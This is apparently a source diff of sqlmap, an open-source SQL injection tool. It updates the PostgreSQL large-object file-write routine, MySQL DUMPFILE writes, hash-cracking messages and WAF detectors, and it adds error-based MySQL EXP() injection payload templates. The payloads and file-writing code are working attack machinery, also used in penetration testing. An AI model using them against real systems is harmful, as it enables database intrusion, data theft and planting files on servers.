message = "do you want to use common password suffixes? (slow!) [y/N] "
|
message = "do you want to use common password suffixes? (slow!) [y/N] "
|
||||||
|
@ -955,9 +956,8 @@ def dictionaryAttack(attack_dict):
|
||||||
|
|
||||||
results.extend(resumes)
|
results.extend(resumes)
|
||||||
|
|
||||||
if len(hash_regexes) == 0:
|
if foundHash and len(hash_regexes) == 0:
|
||||||
warnMsg = "unknown hash format. "
|
warnMsg = "unknown hash format"
|
||||||
warnMsg += "Please report by e-mail to 'dev@sqlmap.org'"
|
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if len(results) == 0:
|
if len(results) == 0:
|
||||||
|
|
|
@ -8,7 +8,6 @@ See the file 'doc/COPYING' for copying permission
|
||||||
import imp
|
import imp
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
import re
|
|
||||||
import sys
|
import sys
|
||||||
import warnings
|
import warnings
|
||||||
|
|
||||||
|
|
|
@ -14,6 +14,7 @@ from lib.core.common import isNoneValue
|
||||||
from lib.core.common import isNumPosStrValue
|
from lib.core.common import isNumPosStrValue
|
||||||
from lib.core.common import isTechniqueAvailable
|
from lib.core.common import isTechniqueAvailable
|
||||||
from lib.core.common import safeSQLIdentificatorNaming
|
from lib.core.common import safeSQLIdentificatorNaming
|
||||||
|
from lib.core.common import safeStringFormat
|
||||||
from lib.core.common import unArrayizeValue
|
from lib.core.common import unArrayizeValue
|
||||||
from lib.core.common import unsafeSQLIdentificatorNaming
|
from lib.core.common import unsafeSQLIdentificatorNaming
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
|
@ -136,7 +137,7 @@ class Enumeration(GenericEnumeration):
|
||||||
tables = []
|
tables = []
|
||||||
|
|
||||||
for index in xrange(int(count)):
|
for index in xrange(int(count)):
|
||||||
_ = (rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db) % index
|
_ = safeStringFormat((rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db), index)
|
||||||
|
|
||||||
table = inject.getValue(_, union=False, error=False)
|
table = inject.getValue(_, union=False, error=False)
|
||||||
if not isNoneValue(table):
|
if not isNoneValue(table):
|
||||||
|
|
|
@ -343,7 +343,6 @@ class Filesystem(GenericFilesystem):
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
chunkMaxSize = 500
|
chunkMaxSize = 500
|
||||||
dFileName = ntpath.basename(dFile)
|
|
||||||
|
|
||||||
randFile = "tmpf%s.txt" % randomStr(lowercase=True)
|
randFile = "tmpf%s.txt" % randomStr(lowercase=True)
|
||||||
randFilePath = "%s\%s" % (tmpPath, randFile)
|
randFilePath = "%s\%s" % (tmpPath, randFile)
|
||||||
|
|
|
@ -7,6 +7,8 @@ See the file 'doc/COPYING' for copying permission
|
||||||
|
|
||||||
from lib.core.common import isNumPosStrValue
|
from lib.core.common import isNumPosStrValue
|
||||||
from lib.core.common import isTechniqueAvailable
|
from lib.core.common import isTechniqueAvailable
|
||||||
|
from lib.core.common import popValue
|
||||||
|
from lib.core.common import pushValue
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import singleTimeWarnMessage
|
from lib.core.common import singleTimeWarnMessage
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
|
@ -97,8 +99,11 @@ class Filesystem(GenericFilesystem):
|
||||||
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
|
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
pushValue(kb.forceWhere)
|
||||||
|
kb.forceWhere = PAYLOAD.WHERE.NEGATIVE
|
||||||
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
|
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
|
||||||
unionUse(sqlQuery, unpack=False)
|
unionUse(sqlQuery, unpack=False)
|
||||||
|
kb.forceWhere = popValue()
|
||||||
|
|
||||||
warnMsg = "expect junk characters inside the "
|
warnMsg = "expect junk characters inside the "
|
||||||
warnMsg += "file as a leftover from UNION query"
|
warnMsg += "file as a leftover from UNION query"
|
||||||
|
|
|
@ -8,15 +8,16 @@ See the file 'doc/COPYING' for copying permission
|
||||||
import os
|
import os
|
||||||
|
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
from lib.core.data import kb
|
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
|
from lib.core.settings import LOBLKSIZE
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||||
|
|
||||||
class Filesystem(GenericFilesystem):
|
class Filesystem(GenericFilesystem):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.oid = None
|
self.oid = None
|
||||||
|
self.page = None
|
||||||
|
|
||||||
GenericFilesystem.__init__(self)
|
GenericFilesystem.__init__(self)
|
||||||
|
|
||||||
|
@ -35,34 +36,13 @@ class Filesystem(GenericFilesystem):
|
||||||
|
|
||||||
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
|
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
|
||||||
wFileSize = os.path.getsize(wFile)
|
wFileSize = os.path.getsize(wFile)
|
||||||
|
content = open(wFile, "rb").read()
|
||||||
if wFileSize > 8192:
|
|
||||||
errMsg = "on PostgreSQL it is not possible to write files "
|
|
||||||
errMsg += "bigger than 8192 bytes at the moment"
|
|
||||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
|
||||||
|
|
||||||
self.oid = randomInt()
|
self.oid = randomInt()
|
||||||
|
self.page = 0
|
||||||
debugMsg = "creating a support table to write the base64 "
|
|
||||||
debugMsg += "encoded file to"
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||||
|
|
||||||
logger.debug("encoding file to its base64 string value")
|
|
||||||
fcEncodedList = self.fileEncode(wFile, "base64", False)
|
|
||||||
|
|
||||||
debugMsg = "forging SQL statements to write the base64 "
|
|
||||||
debugMsg += "encoded file to the support table"
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
sqlQueries = self.fileToSqlQueries(fcEncodedList)
|
|
||||||
|
|
||||||
logger.debug("inserting the base64 encoded file to the support table")
|
|
||||||
|
|
||||||
for sqlQuery in sqlQueries:
|
|
||||||
inject.goStacked(sqlQuery)
|
|
||||||
|
|
||||||
debugMsg = "create a new OID for a large object, it implicitly "
|
debugMsg = "create a new OID for a large object, it implicitly "
|
||||||
debugMsg += "adds an entry in the large objects system table"
|
debugMsg += "adds an entry in the large objects system table"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
@ -70,44 +50,27 @@ class Filesystem(GenericFilesystem):
|
||||||
# References:
|
# References:
|
||||||
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
|
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
|
||||||
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
|
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
|
||||||
|
|
||||||
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
||||||
inject.goStacked("SELECT lo_create(%d)" % self.oid)
|
inject.goStacked("SELECT lo_create(%d)" % self.oid)
|
||||||
|
inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid)
|
||||||
|
|
||||||
debugMsg = "updating the system large objects table assigning to "
|
for offset in xrange(0, wFileSize, LOBLKSIZE):
|
||||||
debugMsg += "the just created OID the binary (base64 decoded) UDF "
|
fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False)
|
||||||
debugMsg += "as data"
|
sqlQueries = self.fileToSqlQueries(fcEncodedList)
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
# Refereces:
|
for sqlQuery in sqlQueries:
|
||||||
# * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html
|
inject.goStacked(sqlQuery)
|
||||||
# * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
|
|
||||||
#
|
|
||||||
# NOTE: From PostgreSQL site:
|
|
||||||
#
|
|
||||||
# "The data stored in the large object will never be more than
|
|
||||||
# LOBLKSIZE bytes and might be less which is BLCKSZ/4, or
|
|
||||||
# typically 2 Kb"
|
|
||||||
#
|
|
||||||
# As a matter of facts it was possible to store correctly a file
|
|
||||||
# large 13776 bytes, the problem arises at next step (lo_export())
|
|
||||||
#
|
|
||||||
# Inject manually into PostgreSQL system table pg_largeobject the
|
|
||||||
# base64-decoded file content. Note that PostgreSQL >= 9.0 does
|
|
||||||
# not accept UPDATE into that table for some reason.
|
|
||||||
self.getVersionFromBanner()
|
|
||||||
banVer = kb.bannerFp["dbmsVersion"]
|
|
||||||
|
|
||||||
if banVer >= "9.0":
|
inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName))
|
||||||
inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, 0, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.tblField, self.fileTblName))
|
inject.goStacked("DELETE FROM %s" % self.fileTblName)
|
||||||
else:
|
|
||||||
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
|
self.page += 1
|
||||||
|
|
||||||
debugMsg = "exporting the OID %s file content to " % fileType
|
debugMsg = "exporting the OID %s file content to " % fileType
|
||||||
debugMsg += "file '%s'" % dFile
|
debugMsg += "file '%s'" % dFile
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
# NOTE: lo_export() exports up to only 8192 bytes of the file
|
|
||||||
# (pg_largeobject 'data' field)
|
|
||||||
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
|
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
|
||||||
|
|
||||||
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
|
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
|
||||||
|
|
|
@ -120,9 +120,12 @@ class Custom:
|
||||||
if not sfile:
|
if not sfile:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
query = getSQLSnippet(Backend.getDbms(), sfile)
|
snippet = getSQLSnippet(Backend.getDbms(), sfile)
|
||||||
|
|
||||||
infoMsg = "executing SQL statement%s from file '%s'" % ("s" if ";" in query else "", sfile)
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
|
if snippet and all(query.strip().upper().startswith("SELECT") for query in filter(None, snippet.split(';' if ';' in snippet else '\n'))):
|
||||||
|
for query in filter(None, snippet.split(';' if ';' in snippet else '\n')):
|
||||||
|
query = query.strip()
|
||||||
|
if query:
|
||||||
conf.dumper.query(query, self.sqlQuery(query))
|
conf.dumper.query(query, self.sqlQuery(query))
|
||||||
|
else:
|
||||||
|
conf.dumper.query(snippet, self.sqlQuery(snippet))
|
||||||
|
|
|
@ -742,6 +742,7 @@ class Databases:
|
||||||
infoMsg = "enumerating database management system schema"
|
infoMsg = "enumerating database management system schema"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
try:
|
||||||
pushValue(conf.db)
|
pushValue(conf.db)
|
||||||
pushValue(conf.tbl)
|
pushValue(conf.tbl)
|
||||||
pushValue(conf.col)
|
pushValue(conf.col)
|
||||||
|
@ -764,7 +765,7 @@ class Databases:
|
||||||
conf.tbl = tbl
|
conf.tbl = tbl
|
||||||
|
|
||||||
self.getColumns()
|
self.getColumns()
|
||||||
|
finally:
|
||||||
conf.col = popValue()
|
conf.col = popValue()
|
||||||
conf.tbl = popValue()
|
conf.tbl = popValue()
|
||||||
conf.db = popValue()
|
conf.db = popValue()
|
||||||
|
|
|
@ -341,13 +341,13 @@ class Entries:
|
||||||
attackDumpedTable()
|
attackDumpedTable()
|
||||||
except (IOError, OSError), ex:
|
except (IOError, OSError), ex:
|
||||||
errMsg = "an error occurred while attacking "
|
errMsg = "an error occurred while attacking "
|
||||||
errMsg += "table dump ('%s')" % ex
|
errMsg += "table dump ('%s')" % ex.message
|
||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
conf.dumper.dbTableValues(kb.data.dumpedTable)
|
conf.dumper.dbTableValues(kb.data.dumpedTable)
|
||||||
|
|
||||||
except SqlmapConnectionException, ex:
|
except SqlmapConnectionException, ex:
|
||||||
errMsg = "connection exception detected in dumping phase "
|
errMsg = "connection exception detected in dumping phase "
|
||||||
errMsg += "('%s')" % ex
|
errMsg += "('%s')" % ex.message
|
||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
|
|
|
@ -6,6 +6,7 @@ See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import os
|
import os
|
||||||
|
import sys
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import dataToOutFile
|
from lib.core.common import dataToOutFile
|
||||||
|
@ -13,6 +14,7 @@ from lib.core.common import Backend
|
||||||
from lib.core.common import checkFile
|
from lib.core.common import checkFile
|
||||||
from lib.core.common import decloakToTemp
|
from lib.core.common import decloakToTemp
|
||||||
from lib.core.common import decodeHexValue
|
from lib.core.common import decodeHexValue
|
||||||
|
from lib.core.common import getUnicode
|
||||||
from lib.core.common import isNumPosStrValue
|
from lib.core.common import isNumPosStrValue
|
||||||
from lib.core.common import isListLike
|
from lib.core.common import isListLike
|
||||||
from lib.core.common import isStackingAvailable
|
from lib.core.common import isStackingAvailable
|
||||||
|
@ -42,7 +44,7 @@ class Filesystem:
|
||||||
lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile
|
lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile
|
||||||
|
|
||||||
elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
|
elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
|
||||||
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
|
lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid
|
||||||
|
|
||||||
elif Backend.isDbms(DBMS.MSSQL):
|
elif Backend.isDbms(DBMS.MSSQL):
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
|
self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
|
||||||
|
@ -62,6 +64,7 @@ class Filesystem:
|
||||||
|
|
||||||
if isNumPosStrValue(remoteFileSize):
|
if isNumPosStrValue(remoteFileSize):
|
||||||
remoteFileSize = long(remoteFileSize)
|
remoteFileSize = long(remoteFileSize)
|
||||||
|
localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding())
|
||||||
sameFile = False
|
sameFile = False
|
||||||
|
|
||||||
if localFileSize == remoteFileSize:
|
if localFileSize == remoteFileSize:
|
||||||
|
@ -105,20 +108,27 @@ class Filesystem:
|
||||||
|
|
||||||
return sqlQueries
|
return sqlQueries
|
||||||
|
|
||||||
def fileEncode(self, fileName, encoding, single):
|
def fileEncode(self, fileName, encoding, single, chunkSize=256):
|
||||||
"""
|
"""
|
||||||
Called by MySQL and PostgreSQL plugins to write a file on the
|
Called by MySQL and PostgreSQL plugins to write a file on the
|
||||||
back-end DBMS underlying file system
|
back-end DBMS underlying file system
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = []
|
|
||||||
with open(fileName, "rb") as f:
|
with open(fileName, "rb") as f:
|
||||||
content = f.read().encode(encoding).replace("\n", "")
|
content = f.read()
|
||||||
|
|
||||||
|
return self.fileContentEncode(content, encoding, single, chunkSize)
|
||||||
|
|
||||||
|
def fileContentEncode(self, content, encoding, single, chunkSize=256):
|
||||||
|
retVal = []
|
||||||
|
|
||||||
|
if encoding:
|
||||||
|
content = content.encode(encoding).replace("\n", "")
|
||||||
|
|
||||||
if not single:
|
if not single:
|
||||||
if len(content) > 256:
|
if len(content) > chunkSize:
|
||||||
for i in xrange(0, len(content), 256):
|
for i in xrange(0, len(content), chunkSize):
|
||||||
_ = content[i:i + 256]
|
_ = content[i:i + chunkSize]
|
||||||
|
|
||||||
if encoding == "hex":
|
if encoding == "hex":
|
||||||
_ = "0x%s" % _
|
_ = "0x%s" % _
|
||||||
|
@ -232,7 +242,7 @@ class Filesystem:
|
||||||
fileContent = newFileContent
|
fileContent = newFileContent
|
||||||
|
|
||||||
if fileContent is not None:
|
if fileContent is not None:
|
||||||
fileContent = decodeHexValue(fileContent)
|
fileContent = decodeHexValue(fileContent, True)
|
||||||
|
|
||||||
if fileContent:
|
if fileContent:
|
||||||
localFilePath = dataToOutFile(remoteFile, fileContent)
|
localFilePath = dataToOutFile(remoteFile, fileContent)
|
||||||
|
|
|
@ -715,16 +715,13 @@ updateAll = False
|
||||||
|
|
||||||
[Miscellaneous]
|
[Miscellaneous]
|
||||||
|
|
||||||
# Use short mnemonics (e.g. "flu,bat,ban,tec=EU").
|
|
||||||
mnemonics =
|
|
||||||
|
|
||||||
# Run host OS command(s) when SQL injection is found.
|
# Run host OS command(s) when SQL injection is found.
|
||||||
alert =
|
alert =
|
||||||
|
|
||||||
# Set question answers (e.g. "quit=N,follow=N").
|
# Set question answers (e.g. "quit=N,follow=N").
|
||||||
answers =
|
answers =
|
||||||
|
|
||||||
# Make a beep sound when SQL injection is found.
|
# Beep on question and/or when SQL injection is found.
|
||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
beep = False
|
beep = False
|
||||||
|
|
||||||
|
@ -757,6 +754,10 @@ identifyWaf = False
|
||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
mobile = False
|
mobile = False
|
||||||
|
|
||||||
|
# Work in offline mode (only use session data)
|
||||||
|
# Valid: True or False
|
||||||
|
offline = False
|
||||||
|
|
||||||
# Display page rank (PR) for Google dork results.
|
# Display page rank (PR) for Google dork results.
|
||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
pageRank = False
|
pageRank = False
|
||||||
|
|
13
sqlmap.py
13
sqlmap.py
|
@ -12,7 +12,6 @@ import os
|
||||||
import re
|
import re
|
||||||
import shutil
|
import shutil
|
||||||
import sys
|
import sys
|
||||||
import tempfile
|
|
||||||
import time
|
import time
|
||||||
import traceback
|
import traceback
|
||||||
import warnings
|
import warnings
|
||||||
|
@ -28,7 +27,6 @@ from lib.core.common import createGithubIssue
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
from lib.core.common import getUnicode
|
from lib.core.common import getUnicode
|
||||||
from lib.core.common import maskSensitiveData
|
from lib.core.common import maskSensitiveData
|
||||||
from lib.core.common import setColor
|
|
||||||
from lib.core.common import setPaths
|
from lib.core.common import setPaths
|
||||||
from lib.core.common import weAreFrozen
|
from lib.core.common import weAreFrozen
|
||||||
from lib.core.data import cmdLineOptions
|
from lib.core.data import cmdLineOptions
|
||||||
|
@ -62,7 +60,7 @@ def modulePath():
|
||||||
except NameError:
|
except NameError:
|
||||||
_ = inspect.getsourcefile(modulePath)
|
_ = inspect.getsourcefile(modulePath)
|
||||||
|
|
||||||
return getUnicode(os.path.dirname(os.path.realpath(_)), sys.getfilesystemencoding())
|
return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding())
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
"""
|
"""
|
||||||
|
@ -71,6 +69,15 @@ def main():
|
||||||
|
|
||||||
try:
|
try:
|
||||||
paths.SQLMAP_ROOT_PATH = modulePath()
|
paths.SQLMAP_ROOT_PATH = modulePath()
|
||||||
|
|
||||||
|
try:
|
||||||
|
os.path.isdir(paths.SQLMAP_ROOT_PATH)
|
||||||
|
except UnicodeEncodeError:
|
||||||
|
errMsg = "your system does not properly handle non-ASCII paths. "
|
||||||
|
errMsg += "Please move the sqlmap's directory to the other location"
|
||||||
|
logger.error(errMsg)
|
||||||
|
exit()
|
||||||
|
|
||||||
setPaths()
|
setPaths()
|
||||||
|
|
||||||
# Store original command line options for possible later restoration
|
# Store original command line options for possible later restoration
|
||||||
|
|
|
@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.enums import HTTP_HEADER
|
|
||||||
from lib.core.settings import WAF_ATTACK_VECTORS
|
from lib.core.settings import WAF_ATTACK_VECTORS
|
||||||
|
|
||||||
__product__ = "360 Web Application Firewall (360)"
|
__product__ = "360 Web Application Firewall (360)"
|
||||||
|
|
|
@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.enums import HTTP_HEADER
|
|
||||||
from lib.core.settings import WAF_ATTACK_VECTORS
|
from lib.core.settings import WAF_ATTACK_VECTORS
|
||||||
|
|
||||||
__product__ = "Anquanbao Web Application Firewall (Anquanbao)"
|
__product__ = "Anquanbao Web Application Firewall (Anquanbao)"
|
||||||
|
|
|
@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.enums import HTTP_HEADER
|
|
||||||
from lib.core.settings import WAF_ATTACK_VECTORS
|
from lib.core.settings import WAF_ATTACK_VECTORS
|
||||||
|
|
||||||
__product__ = "Yunjiasu Web Application Firewall (Baidu)"
|
__product__ = "Yunjiasu Web Application Firewall (Baidu)"
|
||||||
|
|
|
@ -13,12 +13,12 @@ from lib.core.settings import WAF_ATTACK_VECTORS
|
||||||
__product__ = "EdgeCast WAF (Verizon)"
|
__product__ = "EdgeCast WAF (Verizon)"
|
||||||
|
|
||||||
def detect(get_page):
|
def detect(get_page):
|
||||||
retval = False
|
retVal = False
|
||||||
|
|
||||||
for vector in WAF_ATTACK_VECTORS:
|
for vector in WAF_ATTACK_VECTORS:
|
||||||
page, headers, code = get_page(get=vector)
|
page, headers, code = get_page(get=vector)
|
||||||
retVal = code == 400 and re.search(r"\AECDF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
|
retVal = code == 400 and re.search(r"\AECDF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
|
||||||
if retval:
|
if retVal:
|
||||||
break
|
break
|
||||||
|
|
||||||
return retval
|
return retVal
|
||||||
|
|
|
@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.enums import HTTP_HEADER
|
|
||||||
from lib.core.settings import WAF_ATTACK_VECTORS
|
from lib.core.settings import WAF_ATTACK_VECTORS
|
||||||
|
|
||||||
__product__ = "Safedog Web Application Firewall (Safedog)"
|
__product__ = "Safedog Web Application Firewall (Safedog)"
|
||||||
|
|
|
@ -5,9 +5,6 @@ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'doc/COPYING' for copying permission
|
See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import re
|
|
||||||
|
|
||||||
from lib.core.enums import HTTP_HEADER
|
|
||||||
from lib.core.settings import WAF_ATTACK_VECTORS
|
from lib.core.settings import WAF_ATTACK_VECTORS
|
||||||
|
|
||||||
__product__ = "SEnginx (Neusoft Corporation)"
|
__product__ = "SEnginx (Neusoft Corporation)"
|
||||||
|
|
|
@ -13,12 +13,12 @@ from lib.core.settings import WAF_ATTACK_VECTORS
|
||||||
__product__ = "Sucuri WebSite Firewall"
|
__product__ = "Sucuri WebSite Firewall"
|
||||||
|
|
||||||
def detect(get_page):
|
def detect(get_page):
|
||||||
retval = False
|
retVal = False
|
||||||
|
|
||||||
for vector in WAF_ATTACK_VECTORS:
|
for vector in WAF_ATTACK_VECTORS:
|
||||||
page, headers, code = get_page(get=vector)
|
page, headers, code = get_page(get=vector)
|
||||||
retVal = code == 403 and re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
|
retVal = code == 403 and re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
|
||||||
if retval:
|
if retVal:
|
||||||
break
|
break
|
||||||
|
|
||||||
return retval
|
return retVal
|
||||||
|
|
|
@ -149,6 +149,46 @@
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.5</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.5 OR error-based - WHERE, HAVING clause (EXP)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.5</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)</title>
|
<title>MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
|
@ -682,6 +722,26 @@
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.5 error-based - Parameter replace (EXP)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.5</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)</title>
|
<title>MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
|
@ -898,6 +958,26 @@
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>2,3</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
|
||||||
|
<request>
|
||||||
|
